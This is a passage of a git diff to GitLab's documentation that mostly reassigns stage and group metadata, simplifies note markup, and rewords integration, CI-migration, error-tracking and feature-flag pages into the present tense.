writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab as OpenID Connect identity provider @@ -22,7 +22,7 @@ mobile applications. On the client side, you can use [OmniAuth::OpenIDConnect](https://github.com/jjbohn/omniauth-openid-connect/) for Rails applications, or any of the other available [client implementations](https://openid.net/developers/libraries/#connect). -GitLab's implementation uses the [doorkeeper-openid_connect](https://github.com/doorkeeper-gem/doorkeeper-openid_connect "Doorkeeper::OpenidConnect website") gem, refer +The GitLab implementation uses the [doorkeeper-openid_connect](https://github.com/doorkeeper-gem/doorkeeper-openid_connect "Doorkeeper::OpenidConnect website") gem, refer to its README for more details about which parts of the specifications are supported. diff --git a/doc/integration/recaptcha.md b/doc/integration/recaptcha.md index 545f60cddbf..bb5425187c1 100644 --- a/doc/integration/recaptcha.md +++ b/doc/integration/recaptcha.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # reCAPTCHA @@ -25,7 +25,7 @@ To use reCAPTCHA, first you must create a site and private key. to `return CONDITONAL_ALLOW` so that the spam check short-circuits and triggers the response to return `recaptcha_html`. -NOTE: **Note:** +NOTE: Make sure you are viewing an issuable in a project that is public, and if you're working with an issue, the issue is public. ## Enabling reCAPTCHA for user logins via passwords diff --git a/doc/integration/salesforce.md b/doc/integration/salesforce.md index 3290f18e2cb..1aca3b04eee 100644 --- a/doc/integration/salesforce.md +++ b/doc/integration/salesforce.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Salesforce OmniAuth Provider @@ -82,8 +82,8 @@ To get the credentials (a pair of Client ID and Client Secret), you must [create 1. [Reconfigure GitLab]( ../administration/restart_gitlab.md#omnibus-gitlab-reconfigure ) or [restart GitLab]( ../administration/restart_gitlab.md#installations-from-source ) for the changes to take effect if you installed GitLab via Omnibus or from source respectively. On the sign in page, there should now be a Salesforce icon below the regular sign in form. -Click the icon to begin the authentication process. Salesforce will ask the user to sign in and authorize the GitLab application. -If everything goes well, the user will be returned to GitLab and will be signed in. +Click the icon to begin the authentication process. Salesforce asks the user to sign in and authorize the GitLab application. +If everything goes well, the user is returned to GitLab and is signed in. -NOTE: **Note:** -GitLab requires the email address of each new user. Once the user is logged in using Salesforce, GitLab will redirect the user to the profile page where they will have to provide the email and verify the email. +NOTE: +GitLab requires the email address of each new user. Once the user is logged in using Salesforce, GitLab redirects the user to the profile page where they must provide the email and verify the email. diff --git a/doc/integration/saml.md b/doc/integration/saml.md index 16a33a86472..af0a58eab59 100644 --- a/doc/integration/saml.md +++ b/doc/integration/saml.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # SAML OmniAuth Provider **(CORE ONLY)** @@ -378,7 +378,7 @@ You may also bypass the auto sign-in feature by browsing to ### `attribute_statements` -NOTE: **Note:** +NOTE: This setting should be used only to map attributes that are part of the OmniAuth `info` hash schema. @@ -536,7 +536,7 @@ args: { Your Identity Provider will encrypt the assertion with the public certificate of GitLab. GitLab will decrypt the EncryptedAssertion with its private key. -NOTE: **Note:** +NOTE: This integration uses the `certificate` and `private_key` settings for both assertion encryption and request signing. ## Request signing (optional) diff --git a/doc/integration/shibboleth.md b/doc/integration/shibboleth.md index 59374d8ad6f..e811cac4f0b 100644 --- a/doc/integration/shibboleth.md +++ b/doc/integration/shibboleth.md @@ -1,14 +1,14 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Shibboleth OmniAuth Provider -NOTE: **Note:** +NOTE: The preferred approach for integrating a Shibboleth authentication system -with GitLab 10 or newer is to use [GitLab's SAML integration](saml.md). This documentation is for Omnibus GitLab 9.x installs or older. +with GitLab 10 or newer is to use the [GitLab SAML integration](saml.md). This documentation is for Omnibus GitLab 9.x installs or older. In order to enable Shibboleth support in GitLab we need to use Apache instead of NGINX (It may be possible to use NGINX, however this is difficult to configure using the bundled NGINX provided in the Omnibus GitLab package). Apache uses mod_shib2 module for Shibboleth authentication and can pass attributes as headers to OmniAuth Shibboleth provider. @@ -16,7 +16,7 @@ To enable the Shibboleth OmniAuth provider you must configure Apache Shibboleth The installation and configuration of the module itself is out of the scope of this document. Check <https://wiki.shibboleth.net/confluence/display/SP3/Apache> for more information. -You can find Apache config in [GitLab Recipes](https://gitlab.com/gitlab-org/gitlab-recipes/tree/master/web-server/apache). +You can find Apache configuration in [GitLab Recipes](https://gitlab.com/gitlab-org/gitlab-recipes/tree/master/web-server/apache). The following changes are needed to enable Shibboleth: @@ -40,7 +40,7 @@ The following changes are needed to enable Shibboleth: </Location> ``` -1. Exclude Shibboleth URLs from rewriting. Add `RewriteCond %{REQUEST_URI} !/Shibboleth.sso` and `RewriteCond %{REQUEST_URI} !/shibboleth-sp`. Config should look like this: +1. Exclude Shibboleth URLs from rewriting. Add `RewriteCond %{REQUEST_URI} !/Shibboleth.sso` and `RewriteCond %{REQUEST_URI} !/shibboleth-sp`. Configuration should look like this: ```apache # Apache equivalent of Nginx try files @@ -52,12 +52,12 @@ The following changes are needed to enable Shibboleth: RequestHeader set X_FORWARDED_PROTO 'https' ``` - NOTE: **Note:** + NOTE: Starting from GitLab 11.4, OmniAuth is enabled by default. If you're using an - earlier version, you'll need to explicitly enable it in `/etc/gitlab/gitlab.rb`. + earlier version, you must explicitly enable it in `/etc/gitlab/gitlab.rb`. 1. In addition, add Shibboleth to `/etc/gitlab/gitlab.rb` as an OmniAuth provider. - User attributes will be sent from the + User attributes are sent from the Apache reverse proxy to GitLab as headers with the names from the Shibboleth attribute mapping. Therefore the values of the `args` hash should be in the form of `"HTTP_ATTRIBUTE"`. The keys in the hash are arguments @@ -100,12 +100,12 @@ The following changes are needed to enable Shibboleth: 1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart](../administration/restart_gitlab.md#installations-from-source) GitLab for the changes to take effect if you installed GitLab via Omnibus or from source respectively. -On the sign in page, there should now be a "Sign in with: Shibboleth" icon below the regular sign in form. Click the icon to begin the authentication process. You will be redirected to IdP server (depends on your Shibboleth module configuration). If everything goes well the user will be returned to GitLab and will be signed in. +On the sign in page, there should now be a "Sign in with: Shibboleth" icon below the regular sign in form. Click the icon to begin the authentication process. You are redirected to IdP server (depends on your Shibboleth module configuration). If everything goes well the user is returned to GitLab and is signed in. ## Apache 2.4 / GitLab 8.6 update The order of the first 2 Location directives is important. If they are reversed, -you will not get a Shibboleth session! +requesting a Shibboleth session fails! ```plaintext <Location /> diff --git a/doc/integration/slack.md b/doc/integration/slack.md index 815032a08d5..fbea9d3035c 100644 --- a/doc/integration/slack.md +++ b/doc/integration/slack.md @@ -3,3 +3,6 @@ redirect_to: '../user/project/integrations/slack.md' --- This document was moved to [another location](../user/project/integrations/slack.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/slash_commands.md b/doc/integration/slash_commands.md index ea2c4b3e93f..6820ff8a0aa 100644 --- a/doc/integration/slash_commands.md +++ b/doc/integration/slash_commands.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Slash Commands @@ -37,11 +37,11 @@ It is possible to create new issue, display issue details and search up to 5 iss ## Deploy command -In order to deploy to an environment, GitLab will try to find a deployment +In order to deploy to an environment, GitLab tries to find a deployment manual action in the pipeline. -If there is only one action for a given environment, it is going to be triggered. -If there is more than one action defined, GitLab will try to find an action +If there is only one action for a given environment, it is triggered. +If there is more than one action defined, GitLab tries to find an action which name equals the environment name we want to deploy to. -Command will return an error when no matching action has been found. +The command returns an error when no matching action has been found. diff --git a/doc/integration/sourcegraph.md b/doc/integration/sourcegraph.md index 47c84643a7d..8e1a6cdcfd1 100644 --- a/doc/integration/sourcegraph.md +++ b/doc/integration/sourcegraph.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, how-to --- @@ -19,7 +19,7 @@ For GitLab.com users, see [Sourcegraph for GitLab.com](#sourcegraph-for-gitlabco <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, watch the video [Sourcegraph's new GitLab native integration](https://www.youtube.com/watch?v=LjVxkt4_sEA). -NOTE: **Note:** +NOTE: This feature requires user opt-in. After Sourcegraph has been enabled for your GitLab instance, you can choose to enable Sourcegraph [through your user preferences](#enable-sourcegraph-in-user-preferences). @@ -32,7 +32,7 @@ Before you can enable Sourcegraph code intelligence in GitLab you will need to: ### Enable the Sourcegraph feature flag -NOTE: **Note:** +NOTE: If you are running a self-managed instance, the Sourcegraph integration will not be available unless the feature flag `sourcegraph` is enabled. This can be done from the Rails console by instance administrators. @@ -64,6 +64,8 @@ Feature.enable(:sourcegraph, Project.find_by_full_path('my_group/my_project')) If you are new to Sourcegraph, head over to the [Sourcegraph installation documentation](https://docs.sourcegraph.com/admin) and get your instance up and running. +If you are using an HTTPS connection to GitLab, you will need to [configure HTTPS](https://docs.sourcegraph.com/admin/http_https_configuration) for your Sourcegraph instance. + ### Connect your Sourcegraph instance to your GitLab instance 1. Navigate to the site admin area in Sourcegraph. diff --git a/doc/integration/trello_power_up.md b/doc/integration/trello_power_up.md index 22481e14236..d30308cea7a 100644 --- a/doc/integration/trello_power_up.md +++ b/doc/integration/trello_power_up.md @@ -1,19 +1,19 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Trello Power-Up -GitLab's Trello Power-Up enables you to seamlessly attach +The GitLab Trello Power-Up enables you to seamlessly attach GitLab **merge requests** to Trello cards.  ## Configuring the Power-Up -In order to get started, you will need to configure your Power-Up. +In order to get started, you must configure your Power-Up. In Trello: @@ -23,19 +23,19 @@ In Trello: 1. Select the `Settings` (gear) icon 1. In the popup menu, select `Authorize Account` -In this popup, fill in your `API URL` and `Personal Access Token`. After that, you will be able to attach any merge request to any Trello card on your selected Trello board. +In this popup, fill in your `API URL` and `Personal Access Token`. After that, you can attach any merge request to any Trello card on your selected Trello board. ## What is my API URL? Your API URL should be your GitLab instance URL with `/api/v4` appended in the end of the URL. For example, if your GitLab instance URL is `https://gitlab.com`, your API URL would be `https://gitlab.com/api/v4`. -If your instance's URL is `https://example.com`, your API URL will be `https://example.com/api/v4`. +If your instance's URL is `https://example.com`, your API URL is `https://example.com/api/v4`.  ## What is my Personal Access Token? -Your GitLab's personal access token will enable your GitLab account to be accessed +Your GitLab personal access token enables your GitLab account to be accessed from Trello. > Find it in GitLab by clicking on your avatar (upright corner), from which you access diff --git a/doc/integration/twitter.md b/doc/integration/twitter.md index bfe18c43e9d..8404352d0e9 100644 --- a/doc/integration/twitter.md +++ b/doc/integration/twitter.md @@ -1,12 +1,12 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Twitter OAuth2 OmniAuth Provider -To enable the Twitter OmniAuth provider you must register your application with Twitter. Twitter will generate a client ID and secret key for you to use. +To enable the Twitter OmniAuth provider you must register your application with Twitter. Twitter generates a client ID and secret key for you to use. 1. Sign in to [Twitter Application Management](https://developer.twitter.com/apps). @@ -85,4 +85,4 @@ To enable the Twitter OmniAuth provider you must register your application with 1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart GitLab](../administration/restart_gitlab.md#installations-from-source) for the changes to take effect if you installed GitLab via Omnibus or from source respectively. -On the sign in page there should now be a Twitter icon below the regular sign in form. Click the icon to begin the authentication process. Twitter will ask the user to sign in and authorize the GitLab application. If everything goes well the user will be returned to GitLab and will be signed in. +On the sign in page there should now be a Twitter icon below the regular sign in form. Click the icon to begin the authentication process. Twitter asks the user to sign in and authorize the GitLab application. If everything goes well the user is returned to GitLab and signed in. diff --git a/doc/integration/vault.md b/doc/integration/vault.md index ea63f16c72b..7f81fd3a7da 100644 --- a/doc/integration/vault.md +++ b/doc/integration/vault.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- diff --git a/doc/intro/README.md b/doc/intro/README.md index 02429f387ee..5df4efe5307 100644 --- a/doc/intro/README.md +++ b/doc/intro/README.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" comments: false --- diff --git a/doc/legal/README.md b/doc/legal/README.md index 4b3bcac190c..371ea53046c 100644 --- a/doc/legal/README.md +++ b/doc/legal/README.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- diff --git a/doc/legal/corporate_contributor_license_agreement.md b/doc/legal/corporate_contributor_license_agreement.md index 2496c866906..19f86ae41bc 100644 --- a/doc/legal/corporate_contributor_license_agreement.md +++ b/doc/legal/corporate_contributor_license_agreement.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Corporate contributor license agreement diff --git a/doc/legal/individual_contributor_license_agreement.md b/doc/legal/individual_contributor_license_agreement.md index 8e6683d0dc6..573f535fd84 100644 --- a/doc/legal/individual_contributor_license_agreement.md +++ b/doc/legal/individual_contributor_license_agreement.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Individual contributor license agreement diff --git a/doc/license/README.md b/doc/license/README.md index fd110a39b61..f0ff27c315e 100644 --- a/doc/license/README.md +++ b/doc/license/README.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/license.md' --- This document was moved to [another location](../user/admin_area/license.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/markdown/markdown.md b/doc/markdown/markdown.md index 29cb6ac9164..e68f9c217d5 100644 --- a/doc/markdown/markdown.md +++ b/doc/markdown/markdown.md @@ -3,3 +3,6 @@ redirect_to: '../user/markdown.md' --- This document was moved to [another location](../user/markdown.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/migrate_ci_to_ce/README.md b/doc/migrate_ci_to_ce/README.md index 17f9db10767..16d3604cfa4 100644 --- a/doc/migrate_ci_to_ce/README.md +++ b/doc/migrate_ci_to_ce/README.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -11,7 +11,7 @@ Beginning with version 8.0 of GitLab Community Edition (CE) and Enterprise Edition (EE), GitLab CI is no longer its own application, but is instead built into the CE and EE applications. -This guide will detail the process of migrating your CI installation and data +This guide details the process of migrating your CI installation and data into your GitLab CE or EE installation. **You can only migrate CI data from GitLab CI 8.0 to GitLab 8.0; migrating between other versions (e.g.7.14 to 8.1) is not possible.** @@ -28,9 +28,9 @@ The migration consists of three parts: updating GitLab and GitLab CI, moving data, and redirecting traffic. Please note that CI builds triggered on your GitLab server in the time between -updating to 8.0 and finishing the migration will be lost. Your GitLab server +updating to 8.0 and finishing the migration are lost. Your GitLab server can be online for most of the procedure; the only GitLab downtime (if any) is -during the upgrade to 8.0. Your CI service will be offline from the moment you +during the upgrade to 8.0. Your CI service remains offline from the moment you upgrade to 8.0 until you finish the migration procedure. ## Before upgrading @@ -47,8 +47,8 @@ If you want to migrate your existing data, continue reading. ### 0. Updating Omnibus from versions prior to 7.13 -If you are updating from older versions you should first update to 7.14 and then to 8.0. -Otherwise it's pretty likely that you will encounter problems described in the [Troubleshooting](#troubleshooting). +If you are updating from older versions you should first update to 7.14 and then to 8.0 +to avoid the problems described in the [Troubleshooting](#troubleshooting) section. ### 1. Verify that backups work @@ -80,7 +80,7 @@ sudo -u git -H bundle exec rake gitlab:backup:create RAILS_ENV=production SKIP=r If this fails you need to fix it before upgrading to 8.0. Also see <https://about.gitlab.com/get-help/> -NOTE: **Note:** +NOTE: For GitLab 12.1 and earlier, use `gitlab-rake gitlab:backup:create`. ### 2. Check source and target database types @@ -123,7 +123,7 @@ store build traces on the same storage as your Git repositories. ## I. Upgrading -From this point on, GitLab CI will be unavailable for your end users. +From this point on, GitLab CI is unavailable for your end users. ### 1. Upgrade GitLab to 8.0 @@ -169,10 +169,10 @@ sudo -u gitlab_ci -H bundle exec whenever --clear-crontab RAILS_ENV=production ### 1. Database encryption key Move the database encryption key from your CI server to your GitLab - server. The command below will show you what you need to copy-paste to your -GitLab server. On Omnibus GitLab servers you will have to add a line to -`/etc/gitlab/gitlab.rb`. On GitLab servers installed from source you will have -to replace the contents of `/home/git/gitlab/config/secrets.yml`. + server. The command below shows you what you need to copy-paste to your +GitLab server. On Omnibus GitLab servers you must add a line to +`/etc/gitlab/gitlab.rb`. On GitLab servers installed from source you must +replace the contents of `/home/git/gitlab/config/secrets.yml`. ```shell # On your CI server: @@ -188,8 +188,8 @@ sudo -u gitlab_ci -H bundle exec rake backup:show_secrets RAILS_ENV=production Create your final CI data export. If you are converting from MySQL to PostgreSQL, add `MYSQL_TO_POSTGRESQL=1` to the end of the Rake command. When -the command finishes it will print the path to your data export archive; you -will need this file later. +the command finishes it prints the path to your data export archive; you +need this file later. ```shell # On your CI server: @@ -208,7 +208,7 @@ If you were running GitLab and GitLab CI on the same server you can skip this step. Copy your CI data archive to your GitLab server. There are many ways to do -this, below we use SSH agent forwarding and `scp`, which will be easy and fast +this, below we use SSH agent forwarding and `scp`, which is easy and fast for most setups. You can also copy the data archive first from the CI server to your laptop and then from your laptop to the GitLab server. @@ -235,7 +235,7 @@ sudo mv /path/to/12345_gitlab_ci_backup.tar /home/git/gitlab/tmp/backups/ ### 5. Import the CI data into GitLab -This step will delete any existing CI data on your GitLab server. There should +This step deletes any existing CI data on your GitLab server. There should be no CI data yet because you turned CI on the GitLab server off earlier. ```shell @@ -274,8 +274,8 @@ so that existing links to your CI server keep working. ### 1. Update NGINX configuration To ensure that your existing CI runners are able to communicate with the -migrated installation, and that existing build triggers still work, you'll need -to update your NGINX configuration to redirect requests for the old locations to +migrated installation, and that existing build triggers still work, you must +update your NGINX configuration to redirect requests for the old locations to the new ones. Edit `/etc/nginx/sites-available/gitlab_ci` and paste: @@ -324,8 +324,8 @@ properly forward the requests.** You should also make sure that you can: -1. `curl https://YOUR_GITLAB_SERVER_FQDN/` from your previous GitLab CI server. -1. `curl https://YOUR_CI_SERVER_FQDN/` from your GitLab CE (or EE) server. +1. `curl "https://YOUR_GITLAB_SERVER_FQDN/"` from your previous GitLab CI server. +1. `curl "https://YOUR_CI_SERVER_FQDN/"` from your GitLab CE (or EE) server. ### 2. Check NGINX configuration diff --git a/doc/monitoring/health_check.md b/doc/monitoring/health_check.md index b611fa388b4..d607ea03d5a 100644 --- a/doc/monitoring/health_check.md +++ b/doc/monitoring/health_check.md @@ -3,3 +3,6 @@ redirect_to: '../user/admin_area/monitoring/health_check.md' --- This document was moved to [user/admin_area/monitoring/health_check](../user/admin_area/monitoring/health_check.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/monitoring/performance/gitlab_configuration.md b/doc/monitoring/performance/gitlab_configuration.md index 233a12ebd6f..6a6f297f674 100644 --- a/doc/monitoring/performance/gitlab_configuration.md +++ b/doc/monitoring/performance/gitlab_configuration.md @@ -3,3 +3,6 @@ redirect_to: '../../administration/monitoring/performance/gitlab_configuration.m --- This document was moved to [administration/monitoring/performance/gitlab_configuration](../../administration/monitoring/performance/gitlab_configuration.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/monitoring/performance/grafana_configuration.md b/doc/monitoring/performance/grafana_configuration.md index f4e3561a19f..98dfe51ae04 100644 --- a/doc/monitoring/performance/grafana_configuration.md +++ b/doc/monitoring/performance/grafana_configuration.md @@ -3,3 +3,6 @@ redirect_to: '../../administration/monitoring/performance/grafana_configuration. --- This document was moved to [administration/monitoring/performance/grafana_configuration](../../administration/monitoring/performance/grafana_configuration.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/monitoring/performance/introduction.md b/doc/monitoring/performance/introduction.md index e23eabd5f40..71ecd24c743 100644 --- a/doc/monitoring/performance/introduction.md +++ b/doc/monitoring/performance/introduction.md @@ -3,3 +3,6 @@ redirect_to: '../../administration/monitoring/performance/index.md' --- This document was moved to [administration/monitoring/performance/introduction](../../administration/monitoring/performance/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/cleaning_up_redis_sessions.md b/doc/operations/cleaning_up_redis_sessions.md index bde7fffd090..96f72099f8f 100644 --- a/doc/operations/cleaning_up_redis_sessions.md +++ b/doc/operations/cleaning_up_redis_sessions.md @@ -3,3 +3,6 @@ redirect_to: '../administration/operations/cleaning_up_redis_sessions.md' --- This document was moved to [another location](../administration/operations/cleaning_up_redis_sessions.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/error_tracking.md b/doc/operations/error_tracking.md index fad2c0e39be..6fa67c375c9 100644 --- a/doc/operations/error_tracking.md +++ b/doc/operations/error_tracking.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Error Tracking @@ -20,7 +20,7 @@ You can sign up to the cloud hosted [Sentry](https://sentry.io), deploy your own ### Enabling Sentry -GitLab provides an easy way to connect Sentry to your project. You will need at +GitLab provides an easy way to connect Sentry to your project. You need at least Maintainer [permissions](../user/permissions.md) to enable the Sentry integration. 1. Sign up to Sentry.io or [deploy your own](#deploying-sentry) Sentry instance. @@ -31,7 +31,7 @@ least Maintainer [permissions](../user/permissions.md) to enable the Sentry inte click **Enable Error Tracking**. 1. Navigate to your project’s **Settings > Operations**. In the **Error Tracking** section, ensure the **Active** checkbox is set. -1. In the **Sentry API URL** field, enter your Sentry hostname. For example, enter `https://sentry.example.com` if this is the address at which your Sentry instance is available. For the SaaS version of Sentry, the hostname will be `https://sentry.io`. +1. In the **Sentry API URL** field, enter your Sentry hostname. For example, enter `https://sentry.example.com` if this is the address at which your Sentry instance is available. For the SaaS version of Sentry, the hostname is `https://sentry.io`. 1. In the **Auth Token** field, enter the token you previously generated. 1. Click the **Connect** button to test the connection to Sentry and populate the **Project** dropdown. 1. From the **Project** dropdown, choose a Sentry project to link to your GitLab project. @@ -65,7 +65,7 @@ By default, a **Create issue** button is displayed:  -If you create a GitLab issue from the error, the **Create issue** button will change to a **View issue** button and a link to the GitLab issue will surface within the error detail section: +If you create a GitLab issue from the error, the **Create issue** button changes to a **View issue** button and a link to the GitLab issue displays within the error detail section:  @@ -79,7 +79,7 @@ You can take action on Sentry Errors from within the GitLab UI. From within the [Error Details](#error-details) page you can ignore a Sentry error by simply clicking the **Ignore** button near the top of the page. -Ignoring an error will prevent it from appearing in the [Error Tracking List](#error-tracking-list), and will silence notifications that were set up within Sentry. +Ignoring an error prevents it from appearing in the [Error Tracking List](#error-tracking-list), and silences notifications that were set up within Sentry. ### Resolving errors @@ -88,6 +88,6 @@ Ignoring an error will prevent it from appearing in the [Error Tracking List](#e From within the [Error Details](#error-details) page you can resolve a Sentry error by clicking the **Resolve** button near the top of the page. -Marking an error as resolved indicates that the error has stopped firing events. If a GitLab issue is linked to the error, then the issue will be closed. +Marking an error as resolved indicates that the error has stopped firing events. If a GitLab issue is linked to the error, then the issue closes. If another event occurs, the error reverts to unresolved. diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md index cac243edded..e22a45fc18c 100644 --- a/doc/operations/feature_flags.md +++ b/doc/operations/feature_flags.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Feature Flags **(CORE)** @@ -18,7 +18,7 @@ delivery from customer launch. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an example of feature flags in action, see [GitLab for Deploys, Feature Flags, and Error Tracking](https://www.youtube.com/embed/5tw2p6lwXxo). -NOTE: **Note:** +NOTE: The Feature Flags GitLab offer as a feature (described in this document) is not the same method used for the [development of GitLab](../development/feature_flags/index.md). @@ -77,7 +77,6 @@ is 200. On GitLab.com, the maximum number is determined by [GitLab.com tier](htt > - It became [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/214684) in GitLab 13.2. > - It's recommended for production use. > - It's enabled on GitLab.com. -> - For GitLab self-managed instances, a GitLab administrator can choose to [disable it](#enable-or-disable-feature-flag-strategies). **(CORE ONLY)** You can apply a feature flag strategy across multiple environments, without defining the strategy multiple times. @@ -130,7 +129,7 @@ The rollout percentage can be from 0% to 100%. Selecting a consistency based on User IDs functions the same as the [percent of Users](#percent-of-users) rollout. -CAUTION: **Caution:** +WARNING: Selecting **Random** provides inconsistent application behavior for individual users. ### Percent of Users @@ -148,7 +147,7 @@ but not anonymous users. Note that [percent rollout](#percent-rollout) with a consistency based on **User IDs** has the same behavior. We recommend using percent rollout because it's more flexible than percent of users -CAUTION: **Caution:** +WARNING: If the percent of users strategy is selected, then the Unleash client **must** be given a user ID for the feature to be enabled. See the [Ruby example](#ruby-application-example) below. @@ -165,7 +164,7 @@ Enter user IDs as a comma-separated list of values (for example, `user@example.com, user2@example.com`, or `username1,username2,username3`, and so on). Note that user IDs are identifiers for your application users. They do not need to be GitLab users. -CAUTION: **Caution:** +WARNING: The Unleash client **must** be given a user ID for the feature to be enabled for target users. See the [Ruby example](#ruby-application-example) below. @@ -222,25 +221,6 @@ To remove users from a user list: 1. Click on the **{pencil}** (edit) button next to the list you want to change. 1. Click on the **{remove}** (remove) button next to the ID you want 